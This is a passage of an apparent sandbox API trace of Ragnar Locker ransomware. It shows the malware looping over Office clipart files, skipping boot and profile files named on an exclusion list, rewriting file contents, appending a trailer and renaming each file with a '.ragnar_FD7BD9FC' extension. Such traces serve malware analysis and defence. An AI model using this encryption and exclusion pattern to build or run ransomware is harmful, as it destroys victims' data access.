SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.076] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfe4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfe4, lpOverlapped=0x0) returned 1 [0089.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.076] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfe4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.076] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfe4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfe4, lpOverlapped=0x0) returned 1 [0089.076] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfe4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.076] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.077] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.077] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.077] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.077] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.077] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.077] GetProcessHeap () returned 0x580000 [0089.077] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.077] CloseHandle (hObject=0xf4) returned 1 [0089.078] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" [0089.078] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.ragnar_FD7BD9FC" [0089.078] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.079] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0089.079] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.079] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02262_.WMF" | out: lpString1="NA02262_.WMF") returned="NA02262_.WMF" [0089.079] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF") returned=".WMF" [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="autorun.inf") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="boot.ini") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="bootfont.bin") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="bootsect.bak") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="bootmgr") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="bootmgr.efi") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="desktop.ini") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="iconcache.db") returned 1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="ntldr") returned -1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="ntuser.dat") returned -1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="ntuser.ini") returned -1 [0089.079] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="thumbs.db") returned -1 [0089.079] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.079] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.079] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.079] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.080] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.080] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.080] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf")) returned 0x20 [0089.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.080] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3328) returned 1 [0089.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.081] GetProcessHeap () returned 0x580000 [0089.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.081] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.082] VirtualAlloc (lpAddress=0x0, dwSize=0xd00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.082] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd00, lpOverlapped=0x0) returned 1 [0089.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd00, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.083] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd00, lpOverlapped=0x0) returned 1 [0089.083] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.083] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.083] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.083] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.083] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.083] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.083] GetProcessHeap () returned 0x580000 [0089.083] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.083] CloseHandle (hObject=0xf4) returned 1 [0089.083] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" [0089.084] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.ragnar_FD7BD9FC" [0089.084] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.084] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0089.084] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.084] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02264_.WMF" | out: lpString1="NA02264_.WMF") returned="NA02264_.WMF" [0089.084] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF") returned=".WMF" [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="autorun.inf") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="boot.ini") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="bootfont.bin") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="bootsect.bak") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="bootmgr") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="bootmgr.efi") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="desktop.ini") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="iconcache.db") returned 1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="ntldr") returned -1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="ntuser.dat") returned -1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="ntuser.ini") returned -1 [0089.085] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="thumbs.db") returned -1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.085] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf")) returned 0x20 [0089.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.086] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2272) returned 1 [0089.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.086] GetProcessHeap () returned 0x580000 [0089.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.086] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.089] VirtualAlloc (lpAddress=0x0, dwSize=0x8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.090] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8e0, lpOverlapped=0x0) returned 1 [0089.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.090] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.090] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8e0, lpOverlapped=0x0) returned 1 [0089.090] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.090] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.090] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.090] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.091] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.091] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.091] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.091] GetProcessHeap () returned 0x580000 [0089.091] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.091] CloseHandle (hObject=0xf4) returned 1 [0089.091] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" [0089.091] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.ragnar_FD7BD9FC" [0089.091] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.092] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0089.092] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.092] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02356_.WMF" | out: lpString1="NA02356_.WMF") returned="NA02356_.WMF" [0089.092] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF") returned=".WMF" [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="autorun.inf") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="boot.ini") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="bootfont.bin") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="bootsect.bak") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="bootmgr") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="bootmgr.efi") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="desktop.ini") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="iconcache.db") returned 1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="ntldr") returned -1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="ntuser.dat") returned -1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="ntuser.ini") returned -1 [0089.092] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="thumbs.db") returned -1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.092] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf")) returned 0x20 [0089.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.093] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3604) returned 1 [0089.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.093] GetProcessHeap () returned 0x580000 [0089.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.093] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.095] VirtualAlloc (lpAddress=0x0, dwSize=0xe14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.095] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe14, lpOverlapped=0x0) returned 1 [0089.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.095] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe14, 